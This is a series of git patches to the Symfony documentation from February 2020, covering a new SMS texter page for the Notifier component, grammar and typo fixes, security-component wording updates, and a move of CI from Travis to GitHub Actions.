new file mode 100644
index 00000000000..12505cacfa1
--- /dev/null
+++ b/notifier/texters.rst
@@ -0,0 +1,41 @@
+.. index::
+    single: Notifier; Texters
+
+How to send SMS Messages
+========================
+
+.. versionadded:: 5.0
+
+    The Notifier component was introduced in Symfony 5.0 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
+you to sent SMS messages::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    class SecurityController
+    {
+        /**
+         * @Route("/login/success")
+         */
+        public function loginSuccess(TexterInterface $texter)
+        {
+            $sms = new SmsMessage(
+                // the phone number to send the SMS message to
+                '+1411111111',
+                // the message
+                'A new login was detected!'
+            );
+
+            $texter->send($sms);
+
+            // ...
+        }
+    }
+
+.. seealso::
+
+    Read :ref:`the main Notifier guide <notifier-texter-dsn>` to see how
+    to configure the different transports.

From 69f333022e9f46cbddb99a1af9dee1adef79c45b Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Wed, 5 Feb 2020 11:18:24 +0100
Subject: [PATCH 0252/7107] Improved some grammar thanks to @savvasal

Co-Authored-By: Savvas Alexandrou <savvas.alexandrou@gmail.com>
---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 741529fbf2f..8bae301a2ec 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -31,8 +31,8 @@ The notifier component supports the following channels:
 * `SMS <SMS Channel>`_ sends notifications to phones via SMS messages
 * `Chat <Chat Channel>`_ sends notifications to chat services like Slack
   and Telegram;
-* `Email <Email Channel>`_ integrating the :doc:`Symfony Mailer </mailer>`;
-* Browser using :ref:`flash messages <flash-messages>`.
+* `Email <Email Channel>`_ integrates the :doc:`Symfony Mailer </mailer>`;
+* Browser uses :ref:`flash messages <flash-messages>`.
 
 .. tip::
 

From 6dda6846629788191abbcf70f6f84fdba712728f Mon Sep 17 00:00:00 2001
From: scriptibus <lucas.nothnagel98@gmail.com>
Date: Thu, 6 Feb 2020 16:02:48 +0100
Subject: [PATCH 0253/7107] There are 5 events listed and not 4

---
 components/security/authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 47c4c42cede..7a619fa72c3 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -274,7 +274,7 @@ in) is correct, you can use::
 Authentication Events
 ---------------------
 
-The security component provides 4 related authentication events:
+The security component provides 5 related authentication events:
 
 ===============================  ================================================================= ==============================================================================
 Name                             Event Constant                                                    Argument Passed to the Listener

From d03c8dba2cb628d4bf63cb16d14fb092430d0c07 Mon Sep 17 00:00:00 2001
From: Lucas Nothnagel <lucas.nothnagel@sensiolabs.de>
Date: Thu, 6 Feb 2020 18:06:10 +0100
Subject: [PATCH 0254/7107] Changed the text so that it doesnt contain a number

---
 components/security/authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 7a619fa72c3..6fc41c8dbbe 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -274,7 +274,7 @@ in) is correct, you can use::
 Authentication Events
 ---------------------
 
-The security component provides 5 related authentication events:
+The security component provides the following authentication events:
 
 ===============================  ================================================================= ==============================================================================
 Name                             Event Constant                                                    Argument Passed to the Listener

From 7965df4d283da5c9b95d2ff51c88535c21f46d7f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 7 Feb 2020 12:40:53 +0100
Subject: [PATCH 0255/7107] Minor #12420

---
 components/event_dispatcher.rst | 10 +++++-----
 event_dispatcher.rst            |  2 --
 2 files changed, 5 insertions(+), 7 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index ca3e648d122..83ff0202e1b 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -220,11 +220,11 @@ determine which instance is passed.
         $containerBuilder->register('subscriber_service_id', \AcmeSubscriber::class)
             ->addTag('kernel.event_subscriber');
 
-    ``RegisterListenersPass`` is able to resolve aliased class names which for
-    instance allows to refer to an event via the fully qualified class name
-    (FQCN) of the event class. The pass will read the alias mapping from a
-    dedicated container parameter. This parameter can be extended by registering
-    another compiler pass, ``AddEventAliasesPass``::
+    ``RegisterListenersPass`` resolves aliased class names which for instance
+    allows to refer to an event via the fully qualified class name (FQCN) of the
+    event class. The pass will read the alias mapping from a dedicated container
+    parameter. This parameter can be extended by registering another compiler pass,
+    ``AddEventAliasesPass``::
 
         use Symfony\Component\DependencyInjection\Compiler\PassConfig;
         use Symfony\Component\DependencyInjection\ContainerBuilder;
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index bbed3c3f97b..15242b2ec88 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -248,8 +248,6 @@ there are some minor advantages for each of them:
 * **Listeners are more flexible** because bundles can enable or disable each of
   them conditionally depending on some configuration value.
 
-.. _event-aliases:
-
 Event Aliases
 -------------
 

From d3817708c12ff61603dc358c7877d1bc04d0fe70 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 7 Feb 2020 12:41:50 +0100
Subject: [PATCH 0256/7107] Remove old versionadded directives

---
 components/event_dispatcher.rst | 8 --------
 event_dispatcher.rst            | 9 ---------
 2 files changed, 17 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 83ff0202e1b..94ed88c9fa3 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -262,14 +262,6 @@ determine which instance is passed.
     default values by passing custom values to the constructors of
     ``RegisterListenersPass`` and ``AddEventAliasesPass``.
 
-.. versionadded:: 4.3
-
-    Aliasing event names is possible since Symfony 4.3.
-
-.. versionadded:: 4.4
-
-    The ``AddEventAliasesPass`` class was introduced in Symfony 4.4.
-
 .. _event_dispatcher-closures-as-listeners:
 
 .. index::
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index b5551be0ebd..61d24feef41 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -270,11 +270,6 @@ name (FQCN) of the corresponding event class::
         }
     }
 
-.. versionadded:: 4.3
-
-    Referring Symfony's core events via the FQCN of the event class is possible
-    since Symfony 4.3.
-
 Internally, the event FQCN are treated as aliases for the original event names.
 Since the mapping already happens when compiling the service container, event
 listeners and subscribers using FQCN instead of event names will appear under
@@ -303,10 +298,6 @@ The compiler pass will always extend the existing list of aliases. Because of
 that, it is safe to register multiple instances of the pass with different
 configurations.
 
-.. versionadded:: 4.4
-
-    The ``AddEventAliasesPass`` class was introduced in Symfony 4.4.
-
 Debugging Event Listeners
 -------------------------
 

From 5fdffcad24361c9ba0f837306e0d92e95c7b140f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A1chym=20Tou=C5=A1ek?= <enumag@gmail.com>
Date: Thu, 6 Feb 2020 20:28:30 +0100
Subject: [PATCH 0257/7107] [Intl] Improve note about ext-intl.

---
 components/intl.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 04a1752fa49..7b18d9feed2 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -11,7 +11,9 @@ The Intl Component
 .. caution::
 
     The replacement layer is limited to the locale "en". If you want to use
-    other locales, you should `install the intl extension`_ instead.
+    other locales, you should `install the intl extension`_. There is no conflict 
+    between the two though. Even if you use the extension this package can still
+    be useful to access the ICU data.
 
 .. seealso::
 

From 1514ffb70884cb19619e292ac7258452de01e733 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Feb 2020 17:39:47 +0100
Subject: [PATCH 0258/7107] Minor tweaks

---
 components/intl.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 7b18d9feed2..0e92ccf15f3 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -10,9 +10,9 @@ The Intl Component
 
 .. caution::
 
-    The replacement layer is limited to the locale "en". If you want to use
+    The replacement layer is limited to the ``en`` locale. If you want to use
     other locales, you should `install the intl extension`_. There is no conflict 
-    between the two though. Even if you use the extension this package can still
+    between the two because, even if you use the extension, this package can still
     be useful to access the ICU data.
 
 .. seealso::

From bed8a5eee9589ce5c96c458f5c30b1b71550ebb9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Feb 2020 20:29:11 +0100
Subject: [PATCH 0259/7107] [Testing] Use a better example for Symfony asserts

---
 testing/functional_tests_assertions.rst | 19 +++++++++----------
 1 file changed, 9 insertions(+), 10 deletions(-)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index 6cff835e1f0..edf1a6bb679 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -13,16 +13,15 @@ When doing functional tests, sometimes you need to make complex assertions in
 order to check whether the ``Request``, the ``Response`` or the ``Crawler``
 contain the expected information to make your test succeed.
 
-Here is an example with plain PHPUnit::
+The following example uses plain PHPUnit to assert that the response redirects
+to a certain URL::
 
-    $this->assertGreaterThan(
-        0,
-        $crawler->filter('html:contains("Hello World")')->count()
-    );
+    $this->assertSame(301, $client->getResponse()->getStatusCode());
+    $this->assertSame('https://example.com', $client->getResponse()->headers->get('Location'));
 
-Now here is the example with the assertions specific to Symfony::
+This is the same example using the assertions provided by Symfony::
 
-    $this->assertSelectorTextContains('html', 'Hello World');
+    $this->assertResponseRedirects('https://example.com', 301);
 
 .. note::
 
@@ -70,9 +69,9 @@ Crawler
 
 - ``assertSelectorExists()``
 - ``assertSelectorNotExists()``
-- ``assertSelectorTextContains()``
-- ``assertSelectorTextSame()``
-- ``assertSelectorTextNotContains()``
+- ``assertSelectorTextContains()`` (note: it only checks the first selector occurrence)
+- ``assertSelectorTextSame()`` (note: it only checks the first selector occurrence)
+- ``assertSelectorTextNotContains()`` (note: it only checks the first selector occurrence)
 - ``assertPageTitleSame()``
 - ``assertPageTitleContains()``
 - ``assertInputValueSame()``

From 35d2e972002f3cb8735fa6736d6a784b99f6b98b Mon Sep 17 00:00:00 2001
From: Yanick Witschi <yanick.witschi@terminal42.ch>
Date: Thu, 6 Feb 2020 12:38:24 +0100
Subject: [PATCH 0260/7107] Added reasoning to autowiring in public bundles

---
 service_container/autowiring.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index effbbea9856..504f6ec0258 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -506,6 +506,10 @@ Public and Reusable Bundles
 ---------------------------
 
 Public bundles should explicitly configure their services and not rely on autowiring.
+Autowiring depends on the services that are available in the container and bundles have
+no control over the service container of applications they are included in. You can use
+autowiring when building reusable bundles within your company, as you have full control
+over all code.
 
 .. _ROT13: https://en.wikipedia.org/wiki/ROT13
 .. _service definition prototype: https://symfony.com/blog/new-in-symfony-3-3-psr-4-based-service-discovery

From 8a6e1788995d2f447aba91855909714d6cb4b904 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 8 Feb 2020 17:37:51 +0100
Subject: [PATCH 0261/7107] Typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 8bae301a2ec..063f5e2fefc 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -56,7 +56,7 @@ Twilio   ``symfony/twilio-notifier``  ``twilio://SID:TOKEN@default?from=FROM``
 Nexmo    ``symfony/nexmo-notifier``   ``nexmo://KEY:SECRET@default?from=FROM``
 =======  ===========================  ========================================
 
-To enable a texter, add the add the correct DSN in your ``.env`` file and
+To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
 .. code-block:: bash

From 7cc5025d73c7bf3e2aa312f208d598da286ae644 Mon Sep 17 00:00:00 2001
From: kesselb <mail@danielkesselberg.de>
Date: Sun, 9 Feb 2020 16:35:27 +0100
Subject: [PATCH 0262/7107] Update link for (No|Admin)Recipient

Looks like there is ` to much hence breaking the link.
---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 8bae301a2ec..c4ebc204695 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -354,16 +354,16 @@ set the notification content and icon.
 
 Symfony provides three types of recipients:
 
-:class:`Symfony\\Component\\Notifier\\Recipient\\NoRecipient``
+:class:`Symfony\\Component\\Notifier\\Recipient\\NoRecipient`
     This is the default and is useful when there is no need to have
     information about the receiver. For example, the browser channel uses
     the current requests's :ref:`session flashbag <flash-messages>`;
 
-:class:`Symfony\\Component\\Notifier\\Recipient\\Recipient``
+:class:`Symfony\\Component\\Notifier\\Recipient\\Recipient`
     This contains only the email address of the user and can be used for
     messages on the email and browser channel;
 
-:class:`Symfony\\Component\\Notifier\\Recipient\\AdminRecipient``.
+:class:`Symfony\\Component\\Notifier\\Recipient\\AdminRecipient`
     This can contain both email address and phonenumber of the user. This
     recipient can be used for all channels (depending on whether they are
     actually set).

From b96feb60d9a6bdc57f03a2ebf2f1828485addc25 Mon Sep 17 00:00:00 2001
From: BETARI <amine.betari@gmail.com>
Date: Wed, 27 Nov 2019 23:47:07 +0100
Subject: [PATCH 0263/7107] Update micro_kernel_trait.rst

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 3dabb98a436..3543ad4805f 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -32,7 +32,7 @@ Next, create an ``index.php`` file that creates a kernel class and executes it::
     use Symfony\Component\Routing\RouteCollectionBuilder;
 
     // require Composer's autoloader
-    require __DIR__.'/vendor/autoload.php';
+    require dirname(__DIR__).'/vendor/autoload.php';
 
     class AppKernel extends Kernel
     {

From f3fd94628cfd33a8e0f01eec414f92abb159f1b0 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Feb 2020 17:00:55 +0100
Subject: [PATCH 0264/7107] [#12722] Added filename comment to avoid confusion

---
 configuration/micro_kernel_trait.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 3543ad4805f..1d0dbe1a2d7 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -23,6 +23,7 @@ via Composer:
 
 Next, create an ``index.php`` file that creates a kernel class and executes it::
 
+    // index.php
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
     use Symfony\Component\Config\Loader\LoaderInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -32,7 +33,7 @@ Next, create an ``index.php`` file that creates a kernel class and executes it::
     use Symfony\Component\Routing\RouteCollectionBuilder;
 
     // require Composer's autoloader
-    require dirname(__DIR__).'/vendor/autoload.php';
+    require __DIR__.'/vendor/autoload.php';
 
     class AppKernel extends Kernel
     {

From f1bdd981a46b87f7c6a5fb3814ab442d4ce93c8a Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Wed, 11 Dec 2019 18:20:18 +0100
Subject: [PATCH 0265/7107] Update testing.rst

---
 testing.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/testing.rst b/testing.rst
index 4fd211cee26..b02a2dbd035 100644
--- a/testing.rst
+++ b/testing.rst
@@ -549,6 +549,8 @@ allows fetching both public and all non-removed private services::
 
     // gives access to the same services used in your test, unless you're using
     // $client->insulate() or using real HTTP requests to test your application
+    // don't forget to call self::bootKernel() before, otherwise, the container
+    // will be empty
     $container = self::$container;
 
 For a list of services available in your application, use the ``debug:container``

From d0e01b61a4b2834e7881cd74fb167f7283ca517f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Feb 2020 17:23:34 +0100
Subject: [PATCH 0266/7107] [#12857] Fix options order and added versionadded
 directive

---
 reference/constraints/Country.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 1dacfbae4c4..c8ba898cd46 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -5,9 +5,9 @@ Validates that a value is a valid `ISO 3166-1 alpha-2`_ country code.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
+Options     - `alpha3`_
+            - `groups`_
             - `message`_
-            - `alpha3`_
             - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Country`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountryValidator`
@@ -82,6 +82,10 @@ Options
 alpha3
 ~~~~~~
 
+.. versionadded:: 5.1
+
+    The ``alpha3`` option was introduced in Symfony 5.1.
+
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, then the constraint will valid the value as

From ea93e70e67e7ef4c567feb1e943f1b5936504458 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Feb 2020 17:50:22 +0100
Subject: [PATCH 0267/7107] [#13000] Fixed newline

---
 configuration/front_controllers_and_kernel.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index 5008b74d525..e57eb30021e 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -166,6 +166,5 @@ loading your configuration.
 .. _bin/console: https://github.com/symfony/symfony-standard/blob/3.4/bin/console
 .. _AppKernel: https://github.com/symfony/symfony-standard/blob/3.4/app/AppKernel.php
 .. _decorate: https://en.wikipedia.org/wiki/Decorator_pattern
-.. _RewriteRule shipped with the Symfony Standard Edition: https://github.com/symfony/symfony-standard/blob/3.4
-/web/.htaccess
+.. _RewriteRule shipped with the Symfony Standard Edition: https://github.com/symfony/symfony-standard/blob/3.4/web/.htaccess
 .. _template methods: https://en.wikipedia.org/wiki/Template_method_pattern

From 2724a83dee9ac81a5160c532c3d6bab516485c85 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Feb 2020 08:32:24 +0100
Subject: [PATCH 0268/7107] Use Sphinx GithubAction instead of Travis

---
 .github/workflows/ci.yaml   | 53 +++++++++++++++++++++++++++++++++++++
 .github/workflows/lint.yaml | 12 ---------
 .travis.yml                 | 15 -----------
 3 files changed, 53 insertions(+), 27 deletions(-)
 create mode 100644 .github/workflows/ci.yaml
 delete mode 100644 .github/workflows/lint.yaml
 delete mode 100644 .travis.yml

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
new file mode 100644
index 00000000000..49aecd4fd34
--- /dev/null
+++ b/.github/workflows/ci.yaml
@@ -0,0 +1,53 @@
+on:
+    push:
+        branches-ignore:
+            - 'github-comments'
+    pull_request:
+        branches-ignore:
+            - 'github-comments'
+
+name: CI
+
+jobs:
+    build:
+        name: Build
+
+        runs-on: ubuntu-latest
+
+        steps:
+            -   name: "Checkout"
+                uses: actions/checkout@v2
+
+            -   name: "Set up Python 3.x"
+                uses: actions/setup-python@v1
+                with:
+                    python-version: '3.7' # Semantic version range syntax or exact version of a Python version
+
+            -   name: "Display Python version"
+                run: python -c "import sys; print(sys.version)"
+
+            -   name: "Install Sphinx dependencies"
+                run: sudo apt-get install python-dev build-essential
+
+            -   name: "Install Sphinx"
+                run: pip install --user sphinx
+
+            -   name: "Install custom requirements via pip"
+                run: pip install -r _build/.requirements.txt
+
+            -   name: "Build documentation"
+                run: make -C _build SPHINXOPTS=-nW html
+
+    doctor-rst:
+        name: DOCtor-RST
+
+        runs-on: ubuntu-latest
+
+        steps:
+            -   name: "Checkout"
+                uses: actions/checkout@v2
+
+            -   name: "Run DOCtor-RST"
+                uses: docker://oskarstark/doctor-rst
+                with:
+                    args: --short
diff --git a/.github/workflows/lint.yaml b/.github/workflows/lint.yaml
deleted file mode 100644
index ada570e342c..00000000000
--- a/.github/workflows/lint.yaml
+++ /dev/null
@@ -1,12 +0,0 @@
-on: [push, pull_request]
-name: Lint
-jobs:
-    doctor-rst:
-        name: DOCtor-RST
-        runs-on: ubuntu-latest
-        steps:
-            - uses: actions/checkout@master
-            - name: DOCtor-RST
-              uses: docker://oskarstark/doctor-rst
-              with:
-                  args: --short
diff --git a/.travis.yml b/.travis.yml
deleted file mode 100644
index 8ed2088e6ee..00000000000
--- a/.travis.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-language: python
-
-python: 2.7
-
-sudo: false
-cache:
-    directories: [$HOME/.cache/pip]
-
-install: pip install -r _build/.requirements.txt
-
-script: make -C _build SPHINXOPTS=-nW html
-
-branches:
-    except:
-        - github-comments

From 5f3f62a339593298dcc4179acf031ac0b6911e6f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Feb 2020 08:32:24 +0100
Subject: [PATCH 0269/7107] Use GithubAction instead of Travis

for building the docs
---
 .github/workflows/ci.yaml | 35 +++++++++++++++++++++++++++++++++++
 .travis.yml               | 15 ---------------
 2 files changed, 35 insertions(+), 15 deletions(-)
 create mode 100644 .github/workflows/ci.yaml
 delete mode 100644 .travis.yml

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
new file mode 100644
index 00000000000..c0d52481fac
--- /dev/null
+++ b/.github/workflows/ci.yaml
@@ -0,0 +1,35 @@
+on:
+    push:
+        branches-ignore:
+            - 'github-comments'
+    pull_request:
+        branches-ignore:
+            - 'github-comments'
+
+name: CI
+
+jobs:
+    build:
+        name: Build
+        runs-on: ubuntu-latest
+        steps:
+            -   uses: actions/checkout@v2
+            -   name: Set up Python 3.x
+                uses: actions/setup-python@v1
+                with:
+                    python-version: '3.7' # Semantic version range syntax or exact version of a Python version
+            -   name: Display Python version
+                run: python -c "import sys; print(sys.version)"
+            -   run: sudo apt-get install python-dev build-essential
+            -   run: pip install --user sphinx
+            -   run: pip install -r _build/.requirements.txt
+            -   run: make -C _build SPHINXOPTS=-nW html
+    doctor-rst:
+        name: DOCtor-RST
+        runs-on: ubuntu-latest
+        steps:
+            - uses: actions/checkout@v2
+            - name: DOCtor-RST
+              uses: docker://oskarstark/doctor-rst
+              with:
+                  args: --short
diff --git a/.travis.yml b/.travis.yml
deleted file mode 100644
index 8ed2088e6ee..00000000000
--- a/.travis.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-language: python
-
-python: 2.7
-
-sudo: false
-cache:
-    directories: [$HOME/.cache/pip]
-
-install: pip install -r _build/.requirements.txt
-
-script: make -C _build SPHINXOPTS=-nW html
-
-branches:
-    except:
-        - github-comments

From fb25022bf1fd2277be2b7aca4ae4971b661188a5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Feb 2020 09:23:19 +0100
Subject: [PATCH 0270/7107] Use one workflow file

---
 .github/workflows/lint.yaml | 12 ------------
 1 file changed, 12 deletions(-)
 delete mode 100644 .github/workflows/lint.yaml

diff --git a/.github/workflows/lint.yaml b/.github/workflows/lint.yaml
deleted file mode 100644
index ada570e342c..00000000000
--- a/.github/workflows/lint.yaml
+++ /dev/null
@@ -1,12 +0,0 @@
-on: [push, pull_request]
-name: Lint
-jobs:
-    doctor-rst:
-        name: DOCtor-RST
-        runs-on: ubuntu-latest
-        steps:
-            - uses: actions/checkout@master
-            - name: DOCtor-RST
-              uses: docker://oskarstark/doctor-rst
-              with:
-                  args: --short

From 5b2a1ca741f6ccd8734d043fbb30116f98a5a0de Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 10 Feb 2020 08:32:24 +0100
Subject: [PATCH 0271/7107] Formatting + name steps

---
 .github/workflows/ci.yaml | 30 ++++++++++++++++++------------
 1 file changed, 18 insertions(+), 12 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index c0d52481fac..a019ca7a1ca 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -13,23 +13,29 @@ jobs:
         name: Build
         runs-on: ubuntu-latest
         steps:
-            -   uses: actions/checkout@v2
-            -   name: Set up Python 3.x
+            -   name: "Checkout"
+                uses: actions/checkout@v2
+            -   name: "Set up Python 3.x"
                 uses: actions/setup-python@v1
                 with:
                     python-version: '3.7' # Semantic version range syntax or exact version of a Python version
-            -   name: Display Python version
+            -   name: "Display Python version"
                 run: python -c "import sys; print(sys.version)"
-            -   run: sudo apt-get install python-dev build-essential
-            -   run: pip install --user sphinx
-            -   run: pip install -r _build/.requirements.txt
-            -   run: make -C _build SPHINXOPTS=-nW html
+            -   name: "Install Sphinx dependencies"
+                run: sudo apt-get install python-dev build-essential
+            -   name: "Install Sphinx"
+                run: pip install --user sphinx
+            -   name: "INstall custom requirements via pip"
+                run: pip install -r _build/.requirements.txt
+            -   name: "Build documentation"
+                run: make -C _build SPHINXOPTS=-nW html
     doctor-rst:
         name: DOCtor-RST
         runs-on: ubuntu-latest
         steps:
-            - uses: actions/checkout@v2
-            - name: DOCtor-RST
-              uses: docker://oskarstark/doctor-rst
-              with:
-                  args: --short
+            -   name: "Checkout"
+                uses: actions/checkout@v2
+            -   name: "Run DOCtor-RST"
+                uses: docker://oskarstark/doctor-rst
+                with:
+                    args: --short

From 9144aab839ee03608f1555047d981f801708f1b5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 10 Feb 2020 09:23:01 +0100
Subject: [PATCH 0272/7107] Address comments by @localheinzwq

---
 .github/workflows/ci.yaml | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a019ca7a1ca..49aecd4fd34 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -11,30 +11,42 @@ name: CI
 jobs:
     build:
         name: Build
+
         runs-on: ubuntu-latest
+
         steps:
             -   name: "Checkout"
                 uses: actions/checkout@v2
+
             -   name: "Set up Python 3.x"
                 uses: actions/setup-python@v1
                 with:
                     python-version: '3.7' # Semantic version range syntax or exact version of a Python version
+
             -   name: "Display Python version"
                 run: python -c "import sys; print(sys.version)"
+
             -   name: "Install Sphinx dependencies"
                 run: sudo apt-get install python-dev build-essential
+
             -   name: "Install Sphinx"
                 run: pip install --user sphinx
-            -   name: "INstall custom requirements via pip"
+
+            -   name: "Install custom requirements via pip"
                 run: pip install -r _build/.requirements.txt
+
             -   name: "Build documentation"
                 run: make -C _build SPHINXOPTS=-nW html
+
     doctor-rst:
         name: DOCtor-RST
+
         runs-on: ubuntu-latest
+
         steps:
             -   name: "Checkout"
                 uses: actions/checkout@v2
+
             -   name: "Run DOCtor-RST"
                 uses: docker://oskarstark/doctor-rst
                 with:

From daf4ac9d9ef25c338ec5f74b40fee2855684fb49 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 10 Feb 2020 12:04:11 +0100
Subject: [PATCH 0273/7107] Show used version

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 49aecd4fd34..7b2582b2e63 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -18,7 +18,7 @@ jobs:
             -   name: "Checkout"
                 uses: actions/checkout@v2
 
-            -   name: "Set up Python 3.x"
+            -   name: "Set up Python 3.7"
                 uses: actions/setup-python@v1
                 with:
                     python-version: '3.7' # Semantic version range syntax or exact version of a Python version

From 4b57c37198e243d78cc9ec62ae5da5df9c83df58 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Feb 2020 19:14:57 +0100
Subject: [PATCH 0274/7107] Remove mention of removed firewall
 ListenerInterface

---
 components/security/authentication.rst | 5 ++---
 components/security/firewall.rst       | 4 ++--
 2 files changed, 4 insertions(+), 5 deletions(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 6fc41c8dbbe..331308bdfcf 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -17,9 +17,8 @@ The listener should then store the authenticated token using
     use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface;
     use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
     use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
-    use Symfony\Component\Security\Http\Firewall\ListenerInterface;
 
-    class SomeAuthenticationListener implements ListenerInterface
+    class SomeAuthenticationListener
     {
         /**
          * @var TokenStorageInterface
@@ -38,7 +37,7 @@ The listener should then store the authenticated token using
 
         // ...
 
-        public function handle(RequestEvent $event)
+        public function __invoke(RequestEvent $event)
         {
             $request = $event->getRequest();
 
diff --git a/components/security/firewall.rst b/components/security/firewall.rst
index 17b7d03e0d2..f41d81ce790 100644
--- a/components/security/firewall.rst
+++ b/components/security/firewall.rst
@@ -60,7 +60,7 @@ the user::
 
     $requestMatcher = new RequestMatcher('^/secured-area/');
 
-    // instances of Symfony\Component\Security\Http\Firewall\ListenerInterface
+    // array of callables
